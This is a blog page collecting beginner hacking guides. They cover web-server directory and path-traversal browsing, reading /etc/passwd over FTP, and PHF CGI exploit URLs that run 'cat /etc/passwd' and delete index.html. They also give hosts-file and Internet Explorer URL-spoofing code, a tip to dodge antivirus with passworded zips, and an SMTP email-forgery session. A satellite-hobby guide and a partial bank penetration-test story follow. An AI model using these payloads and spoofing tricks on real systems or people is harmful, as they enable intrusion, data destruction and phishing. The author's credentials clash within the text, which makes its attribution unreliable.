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Showing posts with label Harmless Hacking. Show all posts
Showing posts with label Harmless Hacking. Show all posts

How to Explore the Insides of Internet Computers -- from your Browser!
By Kumar Gaurav,B.Tech(E.C.E),New Delhi.

Here's a hacking trick that even a total beginner can do. This technique is so simple that you can learn it in five minutes. Yet it is so powerful enough to amaze your friends and reveal fascinating, hidden things about millions of Internet host computers. Yet it is perfectly legal and harmless (as long as you don't take it any further than what this Guide will teach you). Furthermore, this is a technique that truly brilliant computer break-in experts use all the time. It's muhahaha time!
In this Guide you will learn how to:
  • uncover hidden parts of a web site 
  • explore beyond the web site into hidden parts of the web hosting computer 
  • make sense of the /etc./group file 
  • make sense of the /etc./passwd file  
  • break into computers using only your web browser 
How to Uncover Hidden Parts of a Web Site
Let's start with the simplest webserver hack. Some web sites have pages and/or graphics that aren't linked to anything that you could reach starting from the main page. Normally you could only view these pages by guessing their name. However, there is a cool trick often lets you see everything in a directory even if it isn't linked to any other web page. 




 Figure 1: An ordinary view of a web site. But we aren't ordinary web surfers, muhahaha! To see better detail, with Windows right click on this (or any other image in your browser) and select "view image".
Figure 1 shows a normal page in the directory /support/csr/software, viewing a file named csr_software.htm. Now here's how we can see everything else in this directory. Simply delete the file name and now you have the URL http://www.victimone.com/support/CSR/software/. Then hit enter in the location bar and we get: 


Figure 2: Here's how us extraordinary web surfers explore web sites.






More How to Explore the Insides of Internet Computers -- from your Browser!

Figure 5: Reading the code for a CGI program on an Irix 6.2 webserver (as shown under a Netscape browser running on Windows NT).
This technique for viewing directory contents will not work on all web sites.  There are two easy ways a webmaster can keep you from viewing directory listings.  One is to put a file named index.html (or whatever the webserver is configured to use for a default page when a file is not specified) in each directory.  In that case, all you will see is the index page and not the directory.  The other way is to configure your web server to deny directory listings.
If you are lucky, you may be able to discover that one web server is actually running many web sites.  For example, something that will sometimes work is http://www.victim.com/../usr/local/apache/htdocs/. However, the webmaster may have put all the web sites elsewhere, for example http://www.victim.com/var/www/htdocs/. If you are patient, just try guessing cool directory paths and see what you get.
How to Explore beyond Web Site Directories into Hidden Parts of the Computer
Exploration using http:// attacks can get boring fast.  Ftp (file transfer protocol) comes to the rescue.  If the web site you are exploring offers downloads, chances are you can get amazing results with something like ftp://www.victim.com.
First, let's take a look at what happens if you can't get in using the ftp trick

Figure 6: A failed attempt to ftp into a webserver.

More How to Explore the Insides of Internet Computers -- from your Browser!
You are probably dying to see what's in passwd.  I'm going to be cruel and first force you to learn about group.  OK, OK, I know you can just skip ahead to passwd, but pretty please calm down and look over group first.

Figure 11. The file /etc/group, viewed with Internet Explorer 4.0.
Newbie note:  What does root::0:root mean?  Root is the name of a Unix group.  Each file and directory in a Unix computer has two owners, one a user and the other a group.  One's power to use, write and read a file or directory is dependent on under what user name you login, and on what group you are.  In this case the number zero is the numerical identification (ID) of group root.  Normally group ID 0 is reserved for group root or group wheel.  (I prefer to set up a group wheel for the uberpowerful users on my boxen.) On this computer there is only one user -- root -- in group root.  Group sys looks like another group, adm, is a member. However, only user names are members of groups.  In this case adm is both a user name and a group name.  The groups and user names sys, adm, uucp and so on are all used not by people, but by programs which need rights to use other programs. 
Evil genius tip: The only user name that looks like it is used by a human on this box is root.  This tells us that the sysadmin is careless.  You should always set up an account with lower privileges than root on any Unix computer and do most of your work from that account. The worst problem with having root as your only user account is that then you are forced to login as root.  This makes the root account vulnerable to password guessing.
What else is /etc/group good for?  Let's take a look at another group file:

Figure 12: Another /etc/group
In this case we see a group named bsdi.  This tells us the operating system this computer uses is BSDI.  You can learn more about it at http://www.bsdi.com.

More How to Explore the Insides of Internet Computers -- from your Browser!
Now you finally get to read about /etc/passwd.  

Figure 13. The file /etc/passwd shown in Netscape under Windows 98.
Don't get too excited! This is just a shadowed password file.  
Newbie note: "/etc/password" is the name of the password file under many Unix-type operating systems such as Linux or Solaris.  When you login to a shell account on this type of computer, when you give your user name and password, the operating system goes to /etc/passwd to find out whether you are allowed to login. 
Evil Genius Tip: If you get a password file that includes encrypted passwords, you can use a program such as Crack to extract passwords.  However, if the passwords have been chosen well, no program will be able to crack their encryption.  An uncrackacble password would typically be at least 8 characters long, include both upper case and lower case letters of the alphabet, numbers, and other characters such as !@#$%^&*()<>?.
You can go to jail warning!  If you crack a password file, mere possession of the cracked passwords can get you into trouble with the law.  To see what "Club Fed" (the destination for so many crackers) is all about, click here.
Evil genius tip: Even a shadowed /etc/passwd file can sometimes be used to break into a computer. With a list of all user names and the knowledge of which of these can spawn a shell, one may use password guessing.  This is often far slower than running the encrypted passwords though a program such as crack, but works surprisingly often.
What else can you do once you are inside your victim?  You can download programs!  For example:

Figure 14.  Downloading the program "ls" (list files) from a victim computer.
What is this good for?  If you are an evil genius type, you could analyze programs on victim.com for ways to break in.  In the example above, downloading "ls" won't do much good.
More How to Explore the Insides of Internet Computers -- from your Browser!

Figure 17:  We guessed that the file /etc/group exists and voila!  It turns up on our browser. 
As you can see, guessing worked! From the above very short group file we can guess it uses NIS authentication.  Under this system, many computers share the same password authentication system on a central computer.  Then only user names required to run programs on that computer will be in the password file.  We confirm this when we look at the passwd file and only find five entries.
Oh, yes, the same thing will work for guessing /etc/passwd and many other file names.
How to Break into Computers Using Only your Web Browser
You may have have already read about the PHF exploit. Just in case you are the one hacker in a million who hasn't already read about this, here's how most people try the PHF attack.  In the location window of your browser, simply insert the command
http://victim.computer.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd
You can get punched in the nose warning:  While it isn't illegal to run this command, many webservers automatically email a complaint about you to your online service.  Oh, yes, they can tell who you are really easily.  Many online services will automatically terminate your account if they catch you running the PHF exploit.
Usually you will only get a response that looks like Figure 18:

Figure 18: The usual result of trying the PHF exploit. Sometimes insults and threats will appear instead. Webmasters hate people who try the PHF exploit.
Use of this command is proof of idiocy. One day, looking over the logs of attacks on the ANY web server, I was appalled to see that almost every PHF attack used the above line of code. 
If this attack had worked, these pitiful excuses for hackers would have gotten nothing of much value.  Our password file is shadowed, and in any case the passwords were all way too brutal to be extracted by any cracking program.  
The real power of the PHF attack is that if it works, you already have root control over the victim computer -- through your web browser. So why bother cracking the password file?  For example, if we were lame enough to run a webserver vulnerable to PHF attack, you could give the command: 
http://<xyz.com>/cgi-bin/phf?Qalias=x%0a/bin/rm%20<document root>index.html
If it works, this would erase the main web page of whatever web site was hosted at that particular document root. Or the command could have been echo%20”You got hacked, luser!”><document root>index.html.  (Note that %20 represents a space in the command string.)  This would add the phrase "You got hacked, luser!" to the victim web site.




In the meantime, have fun amazing your friends and bumfuzzling your enemies doing the legal, harmless things of this Guide!



How to *LEGALLY* Deface Web Sites (Honest! Would I lie to you?)
By Kumar Gaurav,B.Tech(E.C.E), India Cyber Army ,New Delhi.

____________________________________________________________
OK, OK, just kidding. This Guide is really about how to fool your
friends into thinking you have defaced a web site. You can do this by
tricking the computer of your victim, er, friend into showing a false
web address. It's so easy, even a beginner can pull off these tricks.
In this Guide you will learn:
* How to alter a computer to which you have access so that anyone who
uses it will be tricked, muhahaha!
* How to set up a button on your web page that tricks someone who uses
Internet Explorer into thinking you defaced the CIA web site.
* How to send an email attachment that tricks someone who uses
Internet Explorer into thinking you defaced the CIA web site.
* Plus, an uberhacker bonus, how to forge email so you can insert
weird hidden codes into it.
Even if you don't like to play practical jokes, it's still worthwhile
to understand how easy it can be to trick someone into thinking they
are viewing a different web site from the actual one. What if you are
buying something online? To whom are you *really* giving your credit
card information? To whom are you *really* giving your online banking
information?
__________________________________________________
* How to alter a computer to which you have access so that anyone who
uses it will be tricked, muhahaha!
__________________________________________________
The easiest way to trick someone into thinking you have defaced a web
site is if you have access to his or her computer (or can get them to
use yours) and can edit the hosts file. Whether the victim computer is
a Mac, Windows, Linux or almost any other operating system, it should
have a file named "hosts". In Windows XP and 2000 it is in
C:/windows/system32/drivers/etc/. In Linux it is in /etc.
If you open the hosts file in an editing program such as Notepad, it
will look something like this:
# © (c) 1993-1999 Microsoft Corp.
#
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
#
# This file contains the mappings of IP addresses to host names. Each
# entry should be kept on an individual line. The IP address should
# be placed in the first column followed by the corresponding host
name.
# The IP address and the host name should be separated by at least one
# space.
#
# Additionally, comments (such as these) may be inserted on individual
# lines or following the machine name denoted by a '#' symbol.
#
# For example:
#
# 102.54.94.97 rhino.acme.com # source server
# 38.25.63.10 x.acme.com # x client host
127.0.0.1 localhost
Now add on to it:
206.61.52.30 www.cia.gov
Get online, type http://www.cia.gov into the location window of your
browser, and you will get the Happyhacker.org web page, while the
location bar says http://www.cia.gov!
OK, so you want to pick a really rank web page to display instead of
our friendly Happyhacker page. How do you find the number that you put
in front of www.cia.gov?
If you have Windows XP, 2000, 2003, Mac OSX, Linux or any kind of
Unix, the answer is easy. If you have a Mac or Linux, bring up a
terminal or shell window. In Windows, click , click Start --> All
Programs --> Accessories --> Command prompt. (Or search for a file
named command.com or cmd.exe and run it.) Then type:
ping rottendisgustingsite.com
Pinging rottendisgustingsite.com [216.999.248.174] with 32 bytes of
data:
That gives the numerical address you need, in this case
216.999.248.174.
______________________________________________________________________
Newbie note: What do those numbers mean? They are Internet addresses,
usually called "IP addresses." They are kind of like phone numbers
used to reach computers over the Internet. When you enter a domain
name (happyhacker.org is an example of a domain name) into the window
of your browser, your computer has to look up the number to which it
corresponds in order to contact it, kind of like looking in a phone
book. In the cases above I messed up the IP addresses by putting 999's
so that lots of people wouldn't attack those IP addresses. Real IP
addresses only contain numbers between the periods of up to 254.
______________________________________________________________________
What if you want to create your own "hacked" web site at one of those
free web hosting places? How do you redirect a computer to your exact
page? Let's say it's at http://www.freewebsites.com/~mysite/. Tell
your friend that you hid a hacked page at http://www.cia.gov/~mysite/.
Then direct the IP address for freewebsites.com to www.cia.gov. When
she or he types in http://www.cia.com/~mysite/ she will see your own
web page.
There is one case in which this hack won't work: if the computer on
which you play this trick uses a proxy server. This is common in large
organizations as a security measure. So be sure to test your hack
before showing it off!

*** How to set up a button or link on your web page that tricks someone who uses Internet Explorer into thinking you defaced a web site.
__________________________________________________
What if you can't alter the hosts file of your friend's computer? As of today, an easy way to spoof URLs is to exploit a flaw in Internet Explorer versions up to 6.0. You can test for this flaw athttp://happyhacker.org/defend/test.shtml . Note: some antivirus programs will claim that this test is a virus. That is not true. They merely are reacting to the fact that it is an attempt to spoof a URL, and are not well enough programmed to tell you it is a URL spoof instead of a virus. If your browser is vulnerable, a link on that page will take you to what looks like http://www.nsa.gov. If your browser is OK, it will show you that this page is actually http://www.happyhacker.org/defend/fakems.htm . The Opera browser will warn you about spoofed URLs (see http://www.opera.com). TSome browsers will partially show a faked URL, usually as http://www.nsa.gov%01@happyhacker.org/defend/fakems.htm.
Now the trick is to somehow get your friend to click on a button you have created to get him or her to go to your "hacked" web site. How does this work? The code for the funny button on this web page is:
<button
onclick="location.href=unescape('http://www.nsa.gov%01@happyhacker.org'/defend/fakems.htm');"
style="font: 8pt verdana, sans-serif;">
<B>Test Exploit</B> </button>
If you have a web site, here is code you can upload that will make a web page that carries your boast about defacing a web site:
<HTML>
<HEAD>
<TITLE>Trick web page</TITLE>
</HEAD>
<BODY>
<BODY BGCOLOR="#ffffff">
<button
onclick="location.href=unescape('http://www.cia.gov%01@happyhacker.org');"
style="font: 12 pt Comic Sans MS">
<B>Click here for proof that I hacked the CIA web page!!!!</B>
</button>
</BODY>
</HTML>
Anyone who has a vulnerable browser will click on it and get the Happy Hacker web site, but the location bar in the browser will say http://www.cia.gov. Of course you could connect to a page on your own web site where you can plaster the childish, ungrammatical, misspelled boasts of the typical web site defacer. For examples of defaced web sites that you can use as, ahem, style guides, seehttp://www.zone-h.org.
Unless you can include the character between gov and % that probably shows up in your browser as a box, this is not a perfect hack. Without that funny character, if your friend looks at the bottom of the browser, he or she can see a briefly displayed message, "Opening page http://www.cia.gov%01@happyhacker.org…" However, if your friend is on a broadband connection, this message will flash by too fast to read. Aw, shucks.
__________________________________________________
Evil genius tip: How do you embed that funny character on your web page? Hint: find an editor that works with Unicode, and doesn't try to do a whole bunch of extra stuff (like MS Word does). __________________________________________________
GaNt points out that there is another way to make a phoney link. Actually several other ways. "By using the href="#" the link is now activated to point to itself. The onClick will be able to activate because the link will not leave the page.
It would be a really good idea to change the status bar as well, so I put that code into it, too."


This is the Link Text
Here is what the code is for the link above:
<a href="#" onClick="location.href=unescape('http://www.nsa.gov%01@happyhacker.org/defend/fakems.htm');" onMouseOver="window.status='http://www.nsa.gov';return true;" onMouseOut="window.status='';return false;">This is the Link Text </a>
Another way to spoof a URL on a web page is to use Javascript. If you've never written a program before, don't sweat. It is super easy to write programs, especially when you have sample code. Try this for a web page:
<script>
function fakIt(spoofed, real){
document.location.href=unescape(spoofed + '%01@' + real);
}
</script>
</head>
<a href="javascript:fakIt('http://www.nsa.gov','happyhacker.org/defend/fakems.htm')" onMouseOver="window.status='This link is the best way to fake a hack of the NSA web site';return true;" onMouseOut="window.status='';return false;">Click here for my defacement of the NSA web site</a>
<br>
<a onClick="location.href=unescape('http://www.nsa.gov%01@happyhacker.org/defend/fakems.htm');" onMouseOver="this.style.cursor = 'hand';"><u><font color="blue"> This is a link that shows nothing when the mouse runs over it</font></u></a>
&lt;/BODY&gt;<BR>
&lt;/HTML&gt;</P>
Here's how this will work on your web page:
Click here for my defacement of the NSA web site
This is a link that shows nothing when the mouse runs over it
This Javascript program was based on one written by GaNt. You can enjoy more of his work at his web site, http//www.BleachEatingFreaks.com.
First thing to notice is that when you run a mouse over the upper link, it only shows whatever text you have programmed into the "onMouseOver" command. If you really want to fake someone out, put the URL of the web site you claim to have hacked there. That part of the program is easy to customize. You could have the mouseover stuff read "Muhahaha" -- get the idea? Of course you can also easily modify the URL, for example inserting some really disgusting site.
If your friend knows something about computer security, this won't work because he or she might be using a relatively safe browser such as Mozilla (free from http://www.mozilla.org). You can defend against the Javascript attack by disabling it on your browser.
You can make your browsers much safer by disabling not only Javascript but all active scripting. To turn off active scripting (Javascript, ActiveX and Java) in IE 6:

  • Click Tools --> Internet Options and choose the Advanced tab. Scroll down the list of radio buttons to Microsoft VM and uncheck all of them.

  • Next choose the Security tab. At the very top you will see the ActiveX controls and plug-ins. Click the "prompt" radio buttons for all of them. This will give you a chance to see whether an ActiveX program is the culprit.

  • Continue scrolling down the radio buttons to Java permissions. Unclick the Java radio button.
    To turn off active scripting in Mozilla:

  • Click edit --> Preferences--> Advanced and unclick the Java radio button.

  • Then click Scripts & Plugins and disable Javascript. __________________________________________________
    * How to send an email attachment that tricks someone who uses Internet Explorer into thinking you defaced the CIA web site.
    __________________________________________________

    If you don't have a web site of your own, here's another way to fake a URL. Send this web page code via an attachment to email. Here's how to do it. In Windows, click Start --> All Programs --> Accessories --> Notepad. Cut and paste the code into Notepad, then save it as hack.htm. Then attach this file to an email with a charming invitation to view your dastardly defacement of the CIA web page. When the reader clicks on the attachment, it will bring up the default browser, usually IE. By clicking on the button that the browser shows, it will display http://www.cia.gov in the location window, but it will really be at Happyhacker.org (or whatever awful web site you picked).
    Is it possible to put the button hack into the body text of an email? Yes, but it doesn't seem to work there. I've tested this exploit against both Eudora 6.0.1 and Outlook Express 6.0. When I coded the exploit into the message body, it displayed the button, but clicking on it doesn't do anything. However, keep tuned, there might be a way to do this. If you would like to test new exploits, see the Uberhacker bonus section below for help on how to embed interesting code into email.
    GaNt points out that his Javascript above can be inserted into an email by making a web site and then cutting and pasting it into Outlook. I found that sometimes this trick doesn't seem to work right away, but there is another trick. If your code just looks like code in your email that you are sending, email it to yourself. Oftentimes it will be working properly when you receive it. Then use the redirect or forward command to send it on to someone else. __________________________________________________
    You can get punched in the nose warning: Many antivirus programs will block email with spoofed URLs. Whomever you send it to might accuse you of trying to infect him or her with a virus, because these antivirus programs call *everything* a virus! To evade antivirus programs, try sending an attachment that is zipped and passworded. Without the password the antivirus program can't scan for a spoofed URL.
    __________________________________________________

    *** Uberhacker bonus!
    __________________________________________________
    You may have noticed I didn't give exact instructions for how to send emails with working code to spoof URLs. That's because spoofed URLs in email are too easy to use to commit crime.
    Also, you may wonder why we are offering so many different ways to spoof URLs. The reason is that over time the browser and antivirus companies will come up with ways to defeat one spoofing scheme after another. It is up to white hat hackers to keep on finding and publicizing new spoofing schemes in order to force those responsible to fix these vulnerabilities. If we don't do this, criminal hackers will secretly use URL spoofing to do tremendous harm.
    I'm willing to provide at least some help for those who are serious about doing legal hacking experiments. If you have email clients you would like to test against URL spoofing exploits of this Guide, or if you want to experiment with other weird coding schemes in email, here's one way to embed the test code of your choice.
    *** First, you need to be using an online server that provides you with an SMTP or ESMPT-protocol compatible email server. Hotmail and AOL won't work.
    *** Second, you might need to use your real email address. As a protection against spammers, some email servers won't accept emails with false sender addresses.
    *** Third, as a protection against spammers, some email servers will disconnect you if you mistype something. And although backspacing to erase seems to work with most telnet clients, it doesn't really work. So if you mistype something, it's better to disconnect and start over.
    Here's an example of how to embed funny code in your email. Bring up a DOS or terminal window and type:
    telnet mail.foobar.com 25
    (Substitute the name of your online service provider for foobar.com.)
    Following is a copy of an actual email forging session. The lines with numbers in front of them are what the mail server sent, and the lines without numbers are the commands you would give:
    220 foobar.com VopMail ESMTP Receiver Version 5.1.202.0 Ready
    helo cmeinel@fubar.com
    250 OK
    mail from:cmeinel@foobar.com
    250 cmeinel@abq.com OK
    rcpt to:cmeinel@techbroker.com
    250 cmeinel@techbroker.com OK
    data
    354 Ready for data
    Subject: Muhahaha! I hacked the CIA web site!!!!
    Content-Type: text/html;
    <HEAD>
    <TITLE>Trick web page</TITLE>
    </HEAD>
    <BODY>
    <BODY BGCOLOR="#ffffff">
    <a href="http://www.cia.gov @happyhacker.org/" style="font: 8pt verdana, sans-serif;">
    Click here to see the hacked CIA website!
    </a>
    </BODY>
    </HTML>
    .
    250 Message received OK
    QUIT
    221 foobar.com closing
    Don't forget that lone period at the end of the text. You have to hit enter, then type a period, then hit enter again to send your email.
    __________________________________________________
    Evil genius tip: There is a trick to getting this email to work. There is an funny character in the URL that probably looks like a box on your browser. Thanks to this funny character, even the bar at the bottom of IE will display only "www.cia.gov" when loading this spoofed URL in IE. Criminals could use this to trick thousands of people into giving them their bank account and credit card information.
    __________________________________________________
    You can go to jail warning: It is legal to discover and publicize ways to encode a button that tricks people into going to a phony web site. It is a crime, however, if someone uses this to steal from people or violate their privacy.
    __________________________________________________
    So far Microsoft hasn't seen fit to fix this vulnerability in IE. So there is a good chance the soon some criminal will take advantage of this to steal lots of money and passwords. But since you have read this, you will be able to avoid becoming a victim by using a safe browser such as Mozilla.
    __________________________________________________
    A shoutout to Alex, who pointed out that the Opera browser is immune to the URL spoofing of this Guide, and to astronut, who pointed out my "duh" moment -- use the URL of the site you are spoofing with the "onMouseOver" command.

    I'm against computer crime. I support good, old-fashioned hacking of the kind that led to the creation of the Internet and a new era of freedom of information. But I hate computer crime. 

  • Satellite Hacking
    By Kumar Gaurav,B.Tech(E.C.E),New Delhi.

    In this Guide you will learn about:

    * Who can help you learn how to build your own satellite, and get it launched into orbit.
    * How to get taken seriously when you ask for help
    * Examples of universities where you can learn how to build your own
    * Conferences devoted to small and amateur satellites
    * Pirate radio and the legal alternatives
    * How to become a radio amateur hero
    * How to break into satellites (not!)
    ____________________________________________________________

    For real hackers (as opposed to computer criminals who call themselves hackers), satellite hacking is about building your own, getting them launched, and using them. Furthermore, believe it or not, the world's first communications satellite was built by a group of radio amateurs. They were real hackers in the truest sense of the word.
    ____________________________________________________________

    *** Who Can Help You
    ____________________________________________________________

    If you want to build your own space satellite, get it launched, and use it to do fun things, your best bet is to join the Radio Amateur Satellite Corporation, http://www.amsat.org, a nonprofit worldwide group.
    The Amsat people launched their first home-built satellite, OSCAR I, on December 12, 1961. Amazingly enough, it was the first satellite that wasn’t built by the governments of the U.S. or the former Soviet Union (now Russia). Furthermore, it was only four years after the first satellite launch in history (the Soviet Sputnik I), and long before the first commercial satellites. Amsat managed to get it launched by persuading the U.S. Air Force to carry it piggyback into orbit along with the Discover 36 military satellite. OSCAR I was a simple test satellite that broadcasted a message in Morse code of "HI-HI" over the VHF 2 meter band (144.983 MHz). Over five hundred amateurs in 28 countries reported receiving its signals before its orbit decayed and it re-entered the atmosphere on January 1, 1962.
    OSCAR III was Amsat’s first true communications satellite. On March 9, 1965, the U.S. Air Force gave Amsat a piggyback launch, this time along with seven military satellites.  OSCAR III relayed voice contacts in the VHF 2 meter band (146 MHz uplink and 144 MHz downlink). OSCAR III's transponder lasted 18 days. During this time, over 1000 amateurs in 22 countries used it to talk with each other.
    ____________________________________________________________
    Newbie notes: Hz stands for Hertz, meaning cycles per second. VHF stands for Very High Frequency radio waves. VHF frequencies are also often called short wave radio.  Sometimes radio waves are measured by length of the waves, for example 2 meter band instead of by frequency (Hz). Morse code is a means of communicating by simply sending short and long noises: dots and dashes with the dashes represented by a noise three times as long as a dot.  Most famously, the distress signal SOS is represented in Morse code by dot dot dot, dash dash dash, dot dot dot. Seehttp://dict.die.net/morse%20code/ for more details.

    *** How to Get Taken Seriously
    ____________________________________________________________

    You can't just talk the Amsat people into launching a satellite for you. You can't even join a design team unless you can show you are worthy of respect.
    First of all, you need to become a hard-core amateur radio operator.  A good start is to get the knowledge you need to pass the licensing tests, and aim for the highest level license available in your country. A good resource for learning how to get your licenses is available at http://www.arrl.org/hamradio.html
    Beyond that, to become really hard core, you need a degree in engineering, ideally electrical engineering (EE) or aerospace engineering. To learn more about becoming an EE, see the international organization to which most EEs belong, the IEEE (http://www.ieee.org).  They have student chapters and local groups in almost every nation and major city. If you feel stranded in your EE college program, if you are afraid you might not make it, you probably will be able to get help from a mentor in a local IEEE chapter. Also, local chapters are a great way to make friends.

    *** Universities Where You Can Learn How to Build Your Own Satellites
    ____________________________________________________________

    You can get an idea of which colleges and universities would be best for you by asking Amsat members for recommendations. For example, in the United Kingdom, Amsat members hold their annual meetings at the University of Surrey (http://www.surrey.ac.uk/), where students have built some of the world's most innovative amateur satellites.
    Important note for women: some engineering schools are hostile (perhaps unwittingly) to women. If the other students exclude you from study groups, and if the professors are unfriendly, you will find the going to be much harder. Before choosing your school, be sure to talk with some of the professors and any women engineering majors. If there aren't any women in the department, watch out, because there is a reason for this. On the other hand, if you decide to be their only (or first) woman student, you can become a heroine by helping the professors and other students see that women, just like men, can do serious intellectual work.
    The University of Arizona (http://www.arizona.edu) has a Planetary Science department that has built instruments for many satellites; its Optical Sciences department has built optical systems for surveillance satellites; and it has departments of Electrical and Computer Engineering, and Aerospace and Mechanical Engineering. That's where I got my master's degree in industrial engineering (which is cross disciplinary with all engineering fields). The opportunities were awesome and the professors did much to encourage women.
    Carnegie Mellon (http://www.cmu.edu/) is one of the best universities for women who want engineering degrees, but it lacks satellite design expertise.
    One of the most awesome places to get an engineering degree with emphasis on space satellites is the Utah State University, http://www.usu.edu/. Its Space Dynamics Laboratory http://www.sdl.usu.edu/ builds research satellites and components for other ultra-high technology satellites, for example the upcoming giant James Webb space telescope. They hire students! However, you may need a security clearance to work on some of their hardware or software. Also, the culture there is overwhelmingly Mormon, a religion that encourages women to stay home and raise lots and lots of children. Groan.
    One final note. Most engineering professors like it when students come to their offices to talk about fun engineering projects instead of complaining about tests and homework. I got lots of free extra education by taking advantage of chats with professors, and reading the books and papers they recommended to me. If you make friends with professors this way, they can help you get an awesome job when you graduate.

    ***  Conferences Devoted to Small and Amateur Satellites
    ____________________________________________________________

    You can meet people who share your enthusiasms and learn about the leading edge of technology by going to satellite conferences. Amsat holds meetings and conferences around the world; see its website, http://www.amsat.org, or the websites of the various national chapters, all linked from http://www.amsat-france.org/famsat-inter.htm. Another great one is Utah State University's annual Small Satellite Conference, seehttp://www.smallsat.org/.
    ____________________________________________________________

    *** Pirate Radio and the Legal Alternatives
    ____________________________________________________________

    The movie "Pump up the Volume" features a high school boy who alters his short wave radio equipment to broadcast on commercial wavelengths. As the movie ends, he gets soooo busted! You may have encountered some of these radio pirates yourself. They drive around in pickup trucks, park in obscure locations, broadcast briefly, and then move on, hoping to keep one jump ahead of the police.
    Pirate radio can appear tempting, like hacking on steroids. However, almost all radio amateurs detest and disrespect radio pirates. They know that it doesn't take genius to steal the commercial airwaves. If you want your friends to hear your broadcasts, tell them to buy radios designed to also receive shortwave transmissions, for these include the frequencies that you, as an amateur, can use for your broadcasts. These radios are cheap and open up a planet's-worth of fun. The wonderful thing about the wavelengths available to amateurs is that they tend to bounce off the ionosphere (the upper, ionized layer of the atmosphere). So when conditions are right, and if your receiver and transmitter are good enough, you can send and receive radio communications worldwide without even relaying through an OSCAR satellite.
    Even more fun, show your friends how to get the no-brainer version of the amateur licenses and then you can enjoy radio chat groups together. In the U.S., the no-brainer license is called "Technician Class." All they have to do to get the license is answer 35 multiple choice questions. See http://www.arrl.org/hamradio.html for details.
    ____________________________________________________________

    *** How to Become a Hero with Amateur Radio
    ____________________________________________________________

    In New Mexico, if you are a licensed radio amateur, you have the right to disregard zoning laws and protesting neighbors and erect gigantic radio transmission towers at your home.  You may have seen some of these towers where you live, typically you’ll see a modest little home and out behind is a tall skinny metal tower with guy wires and funny trusses and shapes sticking out from it. Or you might have noticed someone on a motorcycle with outrageous antennas swaying in the wind as he or she whizzes by: a mobile amateur radio broadcasting station!
    The reason the authorities generally love licensed radio amateurs is because they save lives. When disaster strikes, radio amateurs fire up their electrical generators and provide emergency communications for local rescue teams. They also have ground-based repeaters that enable them to patch their radio transmissions into the Internet and phone system at distant locations outside of the zone of destruction.



    *** How to Break into Satellites: Not!
    ____________________________________________________________

    Unless you have millions of dollars and a team of engineers, you have no hope of taking over commercial or governmental satellites. You may have encountered boasts from hackers that they move satellites around and toy with their transmissions. If so, they were lying.  In reality, communications satellites are too well guarded. They receive their commands through dedicated radio transmission systems, and the antennas these transmissions require are huge and expensive. This is because it is important to focus the satellite control beam tightly, and it takes large antennas to do this.
    So unless you build a sufficiently similar system, overpower their satellite control channel link, figure out how to spoof their transmissions, and determine what their proprietary commands must be -- well, it just isn't going to happen.
    If someone did put together the power to try such a stunt, they would be more likely to damage a satellite than take it over. Dan Veeneman, speaking at Def Con IV, illustrated the danger by citing a case in which the legitimate operator of the AMSC-1 communications satellite accidentally damaged it "soon after launch by inadvertently overloading one of the on-board amplifiers."
    Clearly, if a hacker were to damage a satellite by beaming break-in attempts at it, he or she would wind up with a loooong stay behind bars. And, yes, anyone trying such a stunt would be easy to catch. The power required to attempt a satellite takeover would be easy to detect. (Think NSA radio frequency snooping satellites!)


    ** Conclusion
    ____________________________________________________________

    If you want to control space satellites, it is far easier and more fun to build your own than to try to break into other peoples’ satellites. That's what I say!
    OK, OK, maybe some of you readers are wondering why you should pay attention to me. Answer: I m doing  hard work to get an engineering degree !!

    How to Break into Banks – without Breaking the Law.
    By Kumar Gaurav,B.Tech(E.C.E),New Delhi.

    In this Guide you will learn about:
    Greggory Peck’s nightmares began just days after he broke into the computer network of the Bank of Fubar. (The name of the bank has been changed.)
    He was a new hire at KPMG, one of the world’s biggest accounting firms. Bank of Fubar was unhappy with security tests run by Peck’s predecessor, Vlad, a hacker who wore a vampire costume at work. Vlad is not the real name. I’ve changed it so I don’t have to worry about Vlad defacing a bunch of websites with a rant against me.
    Peck’s manager said that Bank of Fubar was threatening to cancel their contract with KPMG. It was Peck’s job to deliver something better than Vlad the Hacker’s tests. All Vlad had allegedly done was to scan the bank’s firewalls with a commercial vulnerability detection program. This was a test almost anyone who could navigate a keyboard could have done. As Greggory recalls, “It was important to bring value to the client and simply providing such canned tests and reports was not substantiating the fees of conducting such an engagement.”
    What Bank of Fubar needed to know was whether somebody could take advantage of their computer system to exploit the clearinghouses that route money from one bank to another. If a criminal understands the Secure Electronic Communications (SET) protocol, and if the criminal was able to break into the bank's computer system where these transactions are carried out, it would be possible to steal a huge amount of money before anyone discovered the theft.
    Relationship between Clearinghouses and Secure Electronic Transactions (SET) Protocol

    Figure 1: How the settlement system transfers funds from one bank to another through a clearinghouse (yellow oval).i
    When someone deposits a check at a bank that is different from the one used by the person who wrote the check, the payee’s bank sends the check to the payer's bank. The actual transfer of funds is made a settlement system. In the United States, the Federal Reserve (the FedWire service) and several private clearinghouses provide settlement services.
    Then along came the Internet and ecommerce. In February of 1996, Visa and MasterCard announced joint support of a new protocol, Secure Electronic Transactions (SET), for Internet credit card transactions. SET can operate in real time, which is essential for ecommerce, or where there are delays in the system, as in emailed transactions.
    Automated Clearinghouse (ACH) transfers use a network of computerized processing centers, often run by the Federal Reserve, to transfer funds between ACH member institutions. ACH transfers take longer than FedWire transfers, do not make funds immediately available, but cost less. ACH transfers may be returned, but FedWire transfers are final.


    More How to Break into Banks -- Legally!
    Under the rules of engagement for Peck’s test, he had to start with no inside knowledge of the Bank of Fubar. He also wasn’t supposed to run any exploit programs against the bank’s computers. And if, ahem, maybe by accident, he were to find himself inside one of their computers, “I was supposed to notify them the minute I got root.”
    “I was barely old enough to drink,” recalls Peck. “There I was on the 28th floor of the Embarcadero #3 Building, overlooking the San Francisco Bay. I had a salary of $120K/year, corporate housing, and a laboratory with lots of tools.” It was his first big test in a dream job, “Something I would have done for free. Breaking into computers was my hobby.” It was a job he could lose if he played it safe.
    He had two weeks to make his magic. “I wrote the penetration methodology and test from scratch.”
    He began with reconnaissance, working from 9PM to 4AM every night, a time slot when his probes would be less noticeable. He determined what phone lines the bank possessed and scanned them for rogue modems. Nothing turned up. He ran whois and nslookup queries, teased out zone transfers with “hosts –l” against carelessly configured DNS servers, trying to enumerate computers that hid behind the bank’s firewalls. Still he couldn’t find a fault in the bank’s defenses.
